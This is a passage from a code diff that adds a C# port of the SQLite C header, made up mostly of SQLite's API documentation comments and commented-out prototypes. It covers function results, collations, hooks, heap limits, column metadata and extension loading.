values. If the same value is passed to + ** multiple invocations of the same SQL function during query execution, under + ** some circumstances the associated metadata may be preserved. This may + ** be used, for example, to add a regular-expression matching scalar + ** function. The compiled version of the regular expression is stored as + ** metadata associated with the SQL value passed as the regular expression + ** pattern. The compiled regular expression can be reused on multiple + ** invocations of the same function so that the original pattern string + ** does not need to be recompiled on each invocation. + ** + ** ^The sqlite3_get_auxdata() interface returns a pointer to the metadata + ** associated by the sqlite3_set_auxdata() function with the Nth argument + ** value to the application-defined function. ^If no metadata has been ever + ** been set for the Nth argument of the function, or if the corresponding + ** function parameter has changed since the meta-data was set, + ** then sqlite3_get_auxdata() returns a NULL pointer. + ** + ** ^The sqlite3_set_auxdata() interface saves the metadata + ** pointed to by its 3rd parameter as the metadata for the N-th + ** argument of the application-defined function. Subsequent + ** calls to sqlite3_get_auxdata() might return this data, if it has + ** not been destroyed. + ** ^If it is not NULL, SQLite will invoke the destructor + ** function given by the 4th parameter to sqlite3_set_auxdata() on + ** the metadata when the corresponding function parameter changes + ** or when the SQL statement completes, whichever comes first. + ** + ** SQLite is free to call the destructor and drop metadata on any + ** parameter of any function at any time. ^The only guarantee is that + ** the destructor will be called before the metadata is dropped. + ** + ** ^(In practice, metadata is preserved between function calls for + ** expressions that are constant at compile time. This includes literal + ** values and [parameters].)^ + ** + ** These routines must be called from the same thread in which + ** the SQL function is running. + */ + //SQLITE_API void *sqlite3_get_auxdata(sqlite3_context*, int N); + //SQLITE_API void sqlite3_set_auxdata(sqlite3_context*, int N, void*, object ()(void)); + + + /* + ** CAPI3REF: Constants Defining Special Destructor Behavior + ** + ** These are special values for the destructor that is passed in as the + ** final argument to routines like [sqlite3_result_blob()]. ^If the destructor + ** argument is SQLITE_STATIC, it means that the content pointer is constant + ** and will never change. It does not need to be destroyed. ^The + ** SQLITE_TRANSIENT value means that the content will likely change in + ** the near future and that SQLite should make its own private copy of + ** the content before returning. + ** + ** The typedef is necessary to work around problems in certain + ** C++ compilers. See ticket #2191. + */ + //typedef void (*sqlite3_destructor_type)(void); + //#define SQLITE_STATIC ((sqlite3_destructor_type)0) + //#define SQLITE_TRANSIENT ((sqlite3_destructor_type)-1) + static public dxDel SQLITE_STATIC; + static public dxDel SQLITE_TRANSIENT; + /* + ** CAPI3REF: Setting The Result Of An SQL Function + ** + ** These routines are used by the xFunc or xFinal callbacks that + ** implement SQL functions and aggregates. See + ** [sqlite3_create_function()] and [sqlite3_create_function16()] + ** for additional information. + ** + ** These functions work very much like the [parameter binding] family of + ** functions used to bind values to host parameters in prepared statements. + ** Refer to the [SQL parameter] documentation for additional information. + ** + ** ^The sqlite3_result_blob() interface sets the result from + ** an application-defined function to be the BLOB whose content is pointed + ** to by the second parameter and which is N bytes long where N is the + ** third parameter. + ** + ** ^The sqlite3_result_zeroblob() interfaces set the result of + ** the application-defined function to be a BLOB containing all zero + ** bytes and N bytes in size, where N is the value of the 2nd parameter. + ** + ** ^The sqlite3_result_double() interface sets the result from + ** an application-defined function to be a floating point value specified + ** by its 2nd argument. + ** + ** ^The sqlite3_result_error() and sqlite3_result_error16() functions + ** cause the implemented SQL function to throw an exception. + ** ^SQLite uses the string pointed to by the + ** 2nd parameter of sqlite3_result_error() or sqlite3_result_error16() + ** as the text of an error message. ^SQLite interprets the error + ** message string from sqlite3_result_error() as UTF-8. ^SQLite + ** interprets the string from sqlite3_result_error16() as UTF-16 in native + ** byte order. ^If the third parameter to sqlite3_result_error() + ** or sqlite3_result_error16() is negative then SQLite takes as the error + ** message all text up through the first zero character. + ** ^If the third parameter to sqlite3_result_error() or + ** sqlite3_result_error16() is non-negative then SQLite takes that many + ** bytes (not characters) from the 2nd parameter as the error message. + ** ^The sqlite3_result_error() and sqlite3_result_error16() + ** routines make a private copy of the error message text before + ** they return. Hence, the calling function can deallocate or + ** modify the text after they return without harm. + ** ^The sqlite3_result_error_code() function changes the error code + ** returned by SQLite as a result of an error in a function. ^By default, + ** the error code is SQLITE_ERROR. ^A subsequent call to sqlite3_result_error() + ** or sqlite3_result_error16() resets the error code to SQLITE_ERROR. + ** + ** ^The sqlite3_result_toobig() interface causes SQLite to throw an error + ** indicating that a string or BLOB is too long to represent. + ** + ** ^The sqlite3_result_nomem() interface causes SQLite to throw an error + ** indicating that a memory allocation failed. + ** + ** ^The sqlite3_result_int() interface sets the return value + ** of the application-defined function to be the 32-bit signed integer + ** value given in the 2nd argument. + ** ^The sqlite3_result_int64() interface sets the return value + ** of the application-defined function to be the 64-bit signed integer + ** value given in the 2nd argument. + ** + ** ^The sqlite3_result_null() interface sets the return value + ** of the application-defined function to be NULL. + ** + ** ^The sqlite3_result_text(), sqlite3_result_text16(), + ** sqlite3_result_text16le(), and sqlite3_result_text16be() interfaces + ** set the return value of the application-defined function to be + ** a text string which is represented as UTF-8, UTF-16 native byte order, + ** UTF-16 little endian, or UTF-16 big endian, respectively. + ** ^SQLite takes the text result from the application from + ** the 2nd parameter of the sqlite3_result_text* interfaces. + ** ^If the 3rd parameter to the sqlite3_result_text* interfaces + ** is negative, then SQLite takes result text from the 2nd parameter + ** through the first zero character. + ** ^If the 3rd parameter to the sqlite3_result_text* interfaces + ** is non-negative, then as many bytes (not characters) of the text + ** pointed to by the 2nd parameter are taken as the application-defined + ** function result. + ** ^If the 4th parameter to the sqlite3_result_text* interfaces + ** or sqlite3_result_blob is a non-NULL pointer, then SQLite calls that + ** function as the destructor on the text or BLOB result when it has + ** finished using that result. + ** ^If the 4th parameter to the sqlite3_result_text* interfaces or to + ** sqlite3_result_blob is the special constant SQLITE_STATIC, then SQLite + ** assumes that the text or BLOB result is in constant space and does not + ** copy the content of the parameter nor call a destructor on the content + ** when it has finished using that result. + ** ^If the 4th parameter to the sqlite3_result_text* interfaces + ** or sqlite3_result_blob is the special constant SQLITE_TRANSIENT + ** then SQLite makes a copy of the result into space obtained from + ** from [sqlite3_malloc()] before it returns. + ** + ** ^The sqlite3_result_value() interface sets the result of + ** the application-defined function to be a copy the + ** [unprotected sqlite3_value] object specified by the 2nd parameter. ^The + ** sqlite3_result_value() interface makes a copy of the [sqlite3_value] + ** so that the [sqlite3_value] specified in the parameter may change or + ** be deallocated after sqlite3_result_value() returns without harm. + ** ^A [protected sqlite3_value] object may always be used where an + ** [unprotected sqlite3_value] object is required, so either + ** kind of [sqlite3_value] object can be used with this interface. + ** + ** If these routines are called from within the different thread + ** than the one containing the application-defined function that received + ** the [sqlite3_context] pointer, the results are undefined. + */ + //SQLITE_API void sqlite3_result_blob(sqlite3_context*, const void*, int, void()(void)); + //SQLITE_API void sqlite3_result_double(sqlite3_context*, double); + //SQLITE_API void sqlite3_result_error(sqlite3_context*, const char*, int); + //SQLITE_API void sqlite3_result_error16(sqlite3_context*, const void*, int); + //SQLITE_API void sqlite3_result_error_toobig(sqlite3_context); + //SQLITE_API void sqlite3_result_error_nomem(sqlite3_context); + //SQLITE_API void sqlite3_result_error_code(sqlite3_context*, int); + //SQLITE_API void sqlite3_result_int(sqlite3_context*, int); + //SQLITE_API void sqlite3_result_int64(sqlite3_context*, sqlite3_int64); + //SQLITE_API void sqlite3_result_null(sqlite3_context); + //SQLITE_API void sqlite3_result_text(sqlite3_context*, const char*, int, void()(void)); + //SQLITE_API void sqlite3_result_text16(sqlite3_context*, const void*, int, void()(void)); + //SQLITE_API void sqlite3_result_text16le(sqlite3_context*, const void*, int,void()(void)); + //SQLITE_API void sqlite3_result_text16be(sqlite3_context*, const void*, int,void()(void)); + //SQLITE_API void sqlite3_result_value(sqlite3_context*, sqlite3_value); + //SQLITE_API void sqlite3_result_zeroblob(sqlite3_context*, int n); + + /* + ** CAPI3REF: Define New Collating Sequences + ** + ** ^These functions add, remove, or modify a [collation] associated + ** with the [database connection] specified as the first argument. + ** + ** ^The name of the collation is a UTF-8 string + ** for sqlite3_create_collation() and sqlite3_create_collation_v2() + ** and a UTF-16 string in native byte order for sqlite3_create_collation16(). + ** ^Collation names that compare equal according to [sqlite3_strnicmp()] are + ** considered to be the same name. + ** + ** ^(The third argument (eTextRep) must be one of the constants: + **
    + **
  • [SQLITE_UTF8], + **
  • [SQLITE_UTF16LE], + **
  • [SQLITE_UTF16BE], + **
  • [SQLITE_UTF16], or + **
  • [SQLITE_UTF16_ALIGNED]. + **
)^ + ** ^The eTextRep argument determines the encoding of strings passed + ** to the collating function callback, xCallback. + ** ^The [SQLITE_UTF16] and [SQLITE_UTF16_ALIGNED] values for eTextRep + ** force strings to be UTF16 with native byte order. + ** ^The [SQLITE_UTF16_ALIGNED] value for eTextRep forces strings to begin + ** on an even byte address. + ** + ** ^The fourth argument, pArg, is an application data pointer that is passed + ** through as the first argument to the collating function callback. + ** + ** ^The fifth argument, xCallback, is a pointer to the collating function. + ** ^Multiple collating functions can be registered using the same name but + ** with different eTextRep parameters and SQLite will use whichever + ** function requires the least amount of data transformation. + ** ^If the xCallback argument is NULL then the collating function is + ** deleted. ^When all collating functions having the same name are deleted, + ** that collation is no longer usable. + ** + ** ^The collating function callback is invoked with a copy of the pArg + ** application data pointer and with two strings in the encoding specified + ** by the eTextRep argument. The collating function must return an + ** integer that is negative, zero, or positive + ** if the first string is less than, equal to, or greater than the second, + ** respectively. A collating function must always return the same answer + ** given the same inputs. If two or more collating functions are registered + ** to the same collation name (using different eTextRep values) then all + ** must give an equivalent answer when invoked with equivalent strings. + ** The collating function must obey the following properties for all + ** strings A, B, and C: + ** + **
    + **
  1. If A==B then B==A. + **
  2. If A==B and B==C then A==C. + **
  3. If A<B THEN B>A. + **
  4. If A<B and B<C then A<C. + **
+ ** + ** If a collating function fails any of the above constraints and that + ** collating function is registered and used, then the behavior of SQLite + ** is undefined. + ** + ** ^The sqlite3_create_collation_v2() works like sqlite3_create_collation() + ** with the addition that the xDestroy callback is invoked on pArg when + ** the collating function is deleted. + ** ^Collating functions are deleted when they are overridden by later + ** calls to the collation creation functions or when the + ** [database connection] is closed using [sqlite3_close()]. + ** + ** ^The xDestroy callback is not called if the + ** sqlite3_create_collation_v2() function fails. Applications that invoke + ** sqlite3_create_collation_v2() with a non-NULL xDestroy argument should + ** check the return code and dispose of the application data pointer + ** themselves rather than expecting SQLite to deal with it for them. + ** This is different from every other SQLite interface. The inconsistency + ** is unfortunate but cannot be changed without breaking backwards + ** compatibility. + ** + ** See also: [sqlite3_collation_needed()] and [sqlite3_collation_needed16()]. + */ + //SQLITE_API int sqlite3_create_collation( + // sqlite3*, + // string zName, + // int eTextRep, + // void *pArg, + // int(*xCompare)(void*,int,const void*,int,const void) + //); + //SQLITE_API int sqlite3_create_collation_v2( + // sqlite3*, + // string zName, + // int eTextRep, + // void *pArg, + // int(*xCompare)(void*,int,const void*,int,const void), + // void(*xDestroy)(void) + //); + //SQLITE_API int sqlite3_create_collation16( + // sqlite3*, + // string zName, + // int eTextRep, + // void *pArg, + // int(*xCompare)(void*,int,const void*,int,const void) + //); + + /* + ** CAPI3REF: Collation Needed Callbacks + ** + ** ^To avoid having to register all collation sequences before a database + ** can be used, a single callback function may be registered with the + ** [database connection] to be invoked whenever an undefined collation + ** sequence is required. + ** + ** ^If the function is registered using the sqlite3_collation_needed() API, + ** then it is passed the names of undefined collation sequences as strings + ** encoded in UTF-8. ^If sqlite3_collation_needed16() is used, + ** the names are passed as UTF-16 in machine native byte order. + ** ^A call to either function replaces the existing collation-needed callback. + ** + ** ^(When the callback is invoked, the first argument passed is a copy + ** of the second argument to sqlite3_collation_needed() or + ** sqlite3_collation_needed16(). The second argument is the database + ** connection. The third argument is one of [SQLITE_UTF8], [SQLITE_UTF16BE], + ** or [SQLITE_UTF16LE], indicating the most desirable form of the collation + ** sequence function required. The fourth parameter is the name of the + ** required collation sequence.)^ + ** + ** The callback function should register the desired collation using + ** [sqlite3_create_collation()], [sqlite3_create_collation16()], or + ** [sqlite3_create_collation_v2()]. + */ + //SQLITE_API int sqlite3_collation_needed( + // sqlite3*, + // void*, + // void()(void*,sqlite3*,int eTextRep,const char) + //); + //SQLITE_API int sqlite3_collation_needed16( + // sqlite3*, + // void*, + // void()(void*,sqlite3*,int eTextRep,const void) + //); + + //#if SQLITE_HAS_CODEC + /* + ** Specify the key for an encrypted database. This routine should be + ** called right after sqlite3_open(). + ** + ** The code to implement this API is not available in the public release + ** of SQLite. + */ + //SQLITE_API int sqlite3_key( + // sqlite3 db, /* Database to be rekeyed */ + // const void *pKey, int nKey /* The key */ + //); + + /* + ** Change the key on an open database. If the current database is not + ** encrypted, this routine will encrypt it. If pNew==0 or nNew==0, the + ** database is decrypted. + ** + ** The code to implement this API is not available in the public release + ** of SQLite. + */ + //SQLITE_API int sqlite3_rekey( + // sqlite3 db, /* Database to be rekeyed */ + // const void *pKey, int nKey /* The new key */ + //); + + /* + ** Specify the activation key for a SEE database. Unless + ** activated, none of the SEE routines will work. + */ + //SQLITE_API void sqlite3_activate_see( + // string zPassPhrase /* Activation phrase */ + //); + //#endif + + //#if SQLITE_ENABLE_CEROD + /* + ** Specify the activation key for a CEROD database. Unless + ** activated, none of the CEROD routines will work. + */ + //SQLITE_API void sqlite3_activate_cerod( + // string zPassPhrase /* Activation phrase */ + //); + //#endif + + /* + ** CAPI3REF: Suspend Execution For A Short Time + ** + ** The sqlite3_sleep() function causes the current thread to suspend execution + ** for at least a number of milliseconds specified in its parameter. + ** + ** If the operating system does not support sleep requests with + ** millisecond time resolution, then the time will be rounded up to + ** the nearest second. The number of milliseconds of sleep actually + ** requested from the operating system is returned. + ** + ** ^SQLite implements this interface by calling the xSleep() + ** method of the default [sqlite3_vfs] object. If the xSleep() method + ** of the default VFS is not implemented correctly, or not implemented at + ** all, then the behavior of sqlite3_sleep() may deviate from the description + ** in the previous paragraphs. + */ + //SQLITE_API int sqlite3_sleep(int); + + /* + ** CAPI3REF: Name Of The Folder Holding Temporary Files + ** + ** ^(If this global variable is made to point to a string which is + ** the name of a folder (a.k.a. directory), then all temporary files + ** created by SQLite when using a built-in [sqlite3_vfs | VFS] + ** will be placed in that directory.)^ ^If this variable + ** is a NULL pointer, then SQLite performs a search for an appropriate + ** temporary file directory. + ** + ** It is not safe to read or modify this variable in more than one + ** thread at a time. It is not safe to read or modify this variable + ** if a [database connection] is being used at the same time in a separate + ** thread. + ** It is intended that this variable be set once + ** as part of process initialization and before any SQLite interface + ** routines have been called and that this variable remain unchanged + ** thereafter. + ** + ** ^The [temp_store_directory pragma] may modify this variable and cause + ** it to point to memory obtained from [sqlite3_malloc]. ^Furthermore, + ** the [temp_store_directory pragma] always assumes that any string + ** that this variable points to is held in memory obtained from + ** [sqlite3_malloc] and the pragma may attempt to free that memory + ** using [sqlite3_free]. + ** Hence, if this variable is modified directly, either it should be + ** made NULL or made to point to memory obtained from [sqlite3_malloc] + ** or else the use of the [temp_store_directory pragma] should be avoided. + */ + //SQLITE_API SQLITE_EXTERN char *sqlite3_temp_directory; + + /* + ** CAPI3REF: Test For Auto-Commit Mode + ** KEYWORDS: {autocommit mode} + ** + ** ^The sqlite3_get_autocommit() interface returns non-zero or + ** zero if the given database connection is or is not in autocommit mode, + ** respectively. ^Autocommit mode is on by default. + ** ^Autocommit mode is disabled by a [BEGIN] statement. + ** ^Autocommit mode is re-enabled by a [COMMIT] or [ROLLBACK]. + ** + ** If certain kinds of errors occur on a statement within a multi-statement + ** transaction (errors including [SQLITE_FULL], [SQLITE_IOERR], + ** [SQLITE_NOMEM], [SQLITE_BUSY], and [SQLITE_INTERRUPT]) then the + ** transaction might be rolled back automatically. The only way to + ** find out whether SQLite automatically rolled back the transaction after + ** an error is to use this function. + ** + ** If another thread changes the autocommit status of the database + ** connection while this routine is running, then the return value + ** is undefined. + */ + //SQLITE_API int sqlite3_get_autocommit(sqlite3); + + /* + ** CAPI3REF: Find The Database Handle Of A Prepared Statement + ** + ** ^The sqlite3_db_handle interface returns the [database connection] handle + ** to which a [prepared statement] belongs. ^The [database connection] + ** returned by sqlite3_db_handle is the same [database connection] + ** that was the first argument + ** to the [sqlite3_prepare_v2()] call (or its variants) that was used to + ** create the statement in the first place. + */ + //SQLITE_API sqlite3 *sqlite3_db_handle(sqlite3_stmt); + + /* + ** CAPI3REF: Find the next prepared statement + ** + ** ^This interface returns a pointer to the next [prepared statement] after + ** pStmt associated with the [database connection] pDb. ^If pStmt is NULL + ** then this interface returns a pointer to the first prepared statement + ** associated with the database connection pDb. ^If no prepared statement + ** satisfies the conditions of this routine, it returns NULL. + ** + ** The [database connection] pointer D in a call to + ** [sqlite3_next_stmt(D,S)] must refer to an open database + ** connection and in particular must not be a NULL pointer. + */ + //SQLITE_API sqlite3_stmt *sqlite3_next_stmt(sqlite3 *pDb, sqlite3_stmt *pStmt); + + /* + ** CAPI3REF: Commit And Rollback Notification Callbacks + ** + ** ^The sqlite3_commit_hook() interface registers a callback + ** function to be invoked whenever a transaction is [COMMIT | committed]. + ** ^Any callback set by a previous call to sqlite3_commit_hook() + ** for the same database connection is overridden. + ** ^The sqlite3_rollback_hook() interface registers a callback + ** function to be invoked whenever a transaction is [ROLLBACK | rolled back]. + ** ^Any callback set by a previous call to sqlite3_rollback_hook() + ** for the same database connection is overridden. + ** ^The pArg argument is passed through to the callback. + ** ^If the callback on a commit hook function returns non-zero, + ** then the commit is converted into a rollback. + ** + ** ^The sqlite3_commit_hook(D,C,P) and sqlite3_rollback_hook(D,C,P) functions + ** return the P argument from the previous call of the same function + ** on the same [database connection] D, or NULL for + ** the first call for each function on D. + ** + ** The callback implementation must not do anything that will modify + ** the database connection that invoked the callback. Any actions + ** to modify the database connection must be deferred until after the + ** completion of the [sqlite3_step()] call that triggered the commit + ** or rollback hook in the first place. + ** Note that [sqlite3_prepare_v2()] and [sqlite3_step()] both modify their + ** database connections for the meaning of "modify" in this paragraph. + ** + ** ^Registering a NULL function disables the callback. + ** + ** ^When the commit hook callback routine returns zero, the [COMMIT] + ** operation is allowed to continue normally. ^If the commit hook + ** returns non-zero, then the [COMMIT] is converted into a [ROLLBACK]. + ** ^The rollback hook is invoked on a rollback that results from a commit + ** hook returning non-zero, just as it would be with any other rollback. + ** + ** ^For the purposes of this API, a transaction is said to have been + ** rolled back if an explicit "ROLLBACK" statement is executed, or + ** an error or constraint causes an implicit rollback to occur. + ** ^The rollback callback is not invoked if a transaction is + ** automatically rolled back because the database connection is closed. + ** + ** See also the [sqlite3_update_hook()] interface. + */ + //SQLITE_API void *sqlite3_commit_hook(sqlite3*, int()(void), void); + //SQLITE_API void *sqlite3_rollback_hook(sqlite3*, void()(void ), void); + + /* + ** CAPI3REF: Data Change Notification Callbacks + ** + ** ^The sqlite3_update_hook() interface registers a callback function + ** with the [database connection] identified by the first argument + ** to be invoked whenever a row is updated, inserted or deleted. + ** ^Any callback set by a previous call to this function + ** for the same database connection is overridden. + ** + ** ^The second argument is a pointer to the function to invoke when a + ** row is updated, inserted or deleted. + ** ^The first argument to the callback is a copy of the third argument + ** to sqlite3_update_hook(). + ** ^The second callback argument is one of [SQLITE_INSERT], [SQLITE_DELETE], + ** or [SQLITE_UPDATE], depending on the operation that caused the callback + ** to be invoked. + ** ^The third and fourth arguments to the callback contain pointers to the + ** database and table name containing the affected row. + ** ^The final callback parameter is the [rowid] of the row. + ** ^In the case of an update, this is the [rowid] after the update takes place. + ** + ** ^(The update hook is not invoked when internal system tables are + ** modified (i.e. sqlite_master and sqlite_sequence).)^ + ** + ** ^In the current implementation, the update hook + ** is not invoked when duplication rows are deleted because of an + ** [ON CONFLICT | ON CONFLICT REPLACE] clause. ^Nor is the update hook + ** invoked when rows are deleted using the [truncate optimization]. + ** The exceptions defined in this paragraph might change in a future + ** release of SQLite. + ** + ** The update hook implementation must not do anything that will modify + ** the database connection that invoked the update hook. Any actions + ** to modify the database connection must be deferred until after the + ** completion of the [sqlite3_step()] call that triggered the update hook. + ** Note that [sqlite3_prepare_v2()] and [sqlite3_step()] both modify their + ** database connections for the meaning of "modify" in this paragraph. + ** + ** ^The sqlite3_update_hook(D,C,P) function + ** returns the P argument from the previous call + ** on the same [database connection] D, or NULL for + ** the first call on D. + ** + ** See also the [sqlite3_commit_hook()] and [sqlite3_rollback_hook()] + ** interfaces. + */ + //SQLITE_API void *sqlite3_update_hook( + // sqlite3*, + // void()(void *,int ,char const *,char const *,sqlite3_int64), + // void* + //); + + /* + ** CAPI3REF: Enable Or Disable Shared Pager Cache + ** KEYWORDS: {shared cache} + ** + ** ^(This routine enables or disables the sharing of the database cache + ** and schema data structures between [database connection | connections] + ** to the same database. Sharing is enabled if the argument is true + ** and disabled if the argument is false.)^ + ** + ** ^Cache sharing is enabled and disabled for an entire process. + ** This is a change as of SQLite version 3.5.0. In prior versions of SQLite, + ** sharing was enabled or disabled for each thread separately. + ** + ** ^(The cache sharing mode set by this interface effects all subsequent + ** calls to [sqlite3_open()], [sqlite3_open_v2()], and [sqlite3_open16()]. + ** Existing database connections continue use the sharing mode + ** that was in effect at the time they were opened.)^ + ** + ** ^(This routine returns [SQLITE_OK] if shared cache was enabled or disabled + ** successfully. An [error code] is returned otherwise.)^ + ** + ** ^Shared cache is disabled by default. But this might change in + ** future releases of SQLite. Applications that care about shared + ** cache setting should set it explicitly. + ** + ** See Also: [SQLite Shared-Cache Mode] + */ + //SQLITE_API int sqlite3_enable_shared_cache(int); + + /* + ** CAPI3REF: Attempt To Free Heap Memory + ** + ** ^The sqlite3_release_memory() interface attempts to free N bytes + ** of heap memory by deallocating non-essential memory allocations + ** held by the database library. Memory used to cache database + ** pages to improve performance is an example of non-essential memory. + ** ^sqlite3_release_memory() returns the number of bytes actually freed, + ** which might be more or less than the amount requested. + ** ^The sqlite3_release_memory() routine is a no-op returning zero + ** if SQLite is not compiled with [SQLITE_ENABLE_MEMORY_MANAGEMENT]. + */ + //SQLITE_API int sqlite3_release_memory(int); + + /* + ** CAPI3REF: Impose A Limit On Heap Size + ** + ** ^The sqlite3_soft_heap_limit64() interface sets and/or queries the + ** soft limit on the amount of heap memory that may be allocated by SQLite. + ** ^SQLite strives to keep heap memory utilization below the soft heap + ** limit by reducing the number of pages held in the page cache + ** as heap memory usages approaches the limit. + ** ^The soft heap limit is "soft" because even though SQLite strives to stay + ** below the limit, it will exceed the limit rather than generate + ** an [SQLITE_NOMEM] error. In other words, the soft heap limit + ** is advisory only. + ** + ** ^The return value from sqlite3_soft_heap_limit64() is the size of + ** the soft heap limit prior to the call. ^If the argument N is negative + ** then no change is made to the soft heap limit. Hence, the current + ** size of the soft heap limit can be determined by invoking + ** sqlite3_soft_heap_limit64() with a negative argument. + ** + ** ^If the argument N is zero then the soft heap limit is disabled. + ** + ** ^(The soft heap limit is not enforced in the current implementation + ** if one or more of following conditions are true: + ** + **
    + **
  • The soft heap limit is set to zero. + **
  • Memory accounting is disabled using a combination of the + ** [sqlite3_config]([SQLITE_CONFIG_MEMSTATUS],...) start-time option and + ** the [SQLITE_DEFAULT_MEMSTATUS] compile-time option. + **
  • An alternative page cache implementation is specified using + ** [sqlite3_config]([SQLITE_CONFIG_PCACHE],...). + **
  • The page cache allocates from its own memory pool supplied + ** by [sqlite3_config]([SQLITE_CONFIG_PAGECACHE],...) rather than + ** from the heap. + **
)^ + ** + ** Beginning with SQLite version 3.7.3, the soft heap limit is enforced + ** regardless of whether or not the [SQLITE_ENABLE_MEMORY_MANAGEMENT] + ** compile-time option is invoked. With [SQLITE_ENABLE_MEMORY_MANAGEMENT], + ** the soft heap limit is enforced on every memory allocation. Without + ** [SQLITE_ENABLE_MEMORY_MANAGEMENT], the soft heap limit is only enforced + ** when memory is allocated by the page cache. Testing suggests that because + ** the page cache is the predominate memory user in SQLite, most + ** applications will achieve adequate soft heap limit enforcement without + ** the use of [SQLITE_ENABLE_MEMORY_MANAGEMENT]. + ** + ** The circumstances under which SQLite will enforce the soft heap limit may + ** changes in future releases of SQLite. + */ + //SQLITE_API sqlite3_int64 sqlite3_soft_heap_limit64(sqlite3_int64 N); + + /* + ** CAPI3REF: Deprecated Soft Heap Limit Interface + ** DEPRECATED + ** + ** This is a deprecated version of the [sqlite3_soft_heap_limit64()] + ** interface. This routine is provided for historical compatibility + ** only. All new applications should use the + ** [sqlite3_soft_heap_limit64()] interface rather than this one. + */ + //SQLITE_API SQLITE_DEPRECATED void sqlite3_soft_heap_limit(int N); + + + /* + ** CAPI3REF: Extract Metadata About A Column Of A Table + ** + ** ^This routine returns metadata about a specific column of a specific + ** database table accessible using the [database connection] handle + ** passed as the first function argument. + ** + ** ^The column is identified by the second, third and fourth parameters to + ** this function. ^The second parameter is either the name of the database + ** (i.e. "main", "temp", or an attached database) containing the specified + ** table or NULL. ^If it is NULL, then all attached databases are searched + ** for the table using the same algorithm used by the database engine to + ** resolve unqualified table references. + ** + ** ^The third and fourth parameters to this function are the table and column + ** name of the desired column, respectively. Neither of these parameters + ** may be NULL. + ** + ** ^Metadata is returned by writing to the memory locations passed as the 5th + ** and subsequent parameters to this function. ^Any of these arguments may be + ** NULL, in which case the corresponding element of metadata is omitted. + ** + ** ^(
+ ** + **
Parameter Output
Type
Description + ** + **
5th const char* Data type + **
6th const char* Name of default collation sequence + **
7th int True if column has a NOT NULL constraint + **
8th int True if column is part of the PRIMARY KEY + **
9th int True if column is [AUTOINCREMENT] + **
+ **
)^ + ** + ** ^The memory pointed to by the character pointers returned for the + ** declaration type and collation sequence is valid only until the next + ** call to any SQLite API function. + ** + ** ^If the specified table is actually a view, an [error code] is returned. + ** + ** ^If the specified column is "rowid", "oid" or "_rowid_" and an + ** [INTEGER PRIMARY KEY] column has been explicitly declared, then the output + ** parameters are set for the explicitly declared column. ^(If there is no + ** explicitly declared [INTEGER PRIMARY KEY] column, then the output + ** parameters are set as follows: + ** + **
+    **     data type: "INTEGER"
+    **     collation sequence: "BINARY"
+    **     not null: 0
+    **     primary key: 1
+    **     auto increment: 0
+    ** 
)^ + ** + ** ^(This function may load one or more schemas from database files. If an + ** error occurs during this process, or if the requested table or column + ** cannot be found, an [error code] is returned and an error message left + ** in the [database connection] (to be retrieved using sqlite3_errmsg()).)^ + ** + ** ^This API is only available if the library was compiled with the + ** [SQLITE_ENABLE_COLUMN_METADATA] C-preprocessor symbol defined. + */ + //SQLITE_API int sqlite3_table_column_metadata( + // sqlite3 db, /* Connection handle */ + // string zDbName, /* Database name or NULL */ + // string zTableName, /* Table name */ + // string zColumnName, /* Column name */ + // char const **pzDataType, /* OUTPUT: Declared data type */ + // char const **pzCollSeq, /* OUTPUT: Collation sequence name */ + // int *pNotNull, /* OUTPUT: True if NOT NULL constraint exists */ + // int *pPrimaryKey, /* OUTPUT: True if column part of PK */ + // int *pAutoinc /* OUTPUT: True if column is auto-increment */ + //); + + /* + ** CAPI3REF: Load An Extension + ** + ** ^This interface loads an SQLite extension library from the named file. + ** + ** ^The sqlite3_load_extension() interface attempts to load an + ** SQLite extension library contained in the file zFile. + ** + ** ^The entry point is zProc. + ** ^zProc may be 0, in which case the name of the entry point + ** defaults to "sqlite3_extension_init". + ** ^The sqlite3_load_extension() interface returns + ** [SQLITE_OK] on success and [SQLITE_ERROR] if something goes wrong. + ** ^If an error occurs and pzErrMsg is not 0, then the + ** [sqlite3_load_extension()] interface shall attempt to + ** fill *pzErrMsg with error message text stored in memory + ** obtained from [sqlite3_malloc()]. The calling function + ** should free this memory by calling [sqlite3_free()]. + ** + ** ^Extension loading must be enabled using + ** [sqlite3_enable_load_extension()] prior to calling this API, + ** otherwise an error will be returned. + ** + ** See also the [load_extension() SQL function]. + */ + //SQLITE_API int sqlite3_load_extension( + // sqlite3 db, /* Load the extension into this database connection */ + // string zFile, /* Name of the shared library containing extension */ + // string zProc, /* Entry point. Derived from zFile if 0 */ + // char **pzErrMsg /* Put error message here if not 0 */ + //); + + /* + ** CAPI3REF: Enable Or Disable Extension Loading + ** + ** ^So as not to open security holes in older applications that are + ** unprepared to deal with extension loading, and as a means of disabling + ** extension loading while evaluating user-entered SQL, the following API + ** is provided to turn the [sqlite3_load_extension()] mechanism on and off. + ** + ** ^Extension loading is off by default. See ticket #1863. + ** ^Call the sqlite3_enable_load_extension() routine with onoff==1 + ** to turn extension loading on and call it with onoff==0 to turn + ** it back off again. + */ + //SQLITE_API int sqlite3_enable_load_extension(sqlite3 db, int onoff); + + /* + ** CAPI3REF: Automatically Load Statically Linked Extensions + ** + ** ^This interface causes the xEntryPoint() function to be invoked for + ** each new [database connection] that is created. The idea here is that + ** xEntryPoint() is the entry point for a statically linked SQLite extension + ** that is to be automatically loaded into all new database connections. + ** + ** ^(Even though the function prototype shows that xEntryPoint() takes + ** no arguments and returns void, SQLite invokes xEntryPoint() with three + ** arguments and expects and integer result as if the signature of the + ** entry point where as follows: + ** + **
+    **    int xEntryPoint(
+    **      sqlite3 db,
+    **      string *pzErrMsg,
+    **      const struct sqlite3_api_routines *pThunk
+    **    );
+    ** 
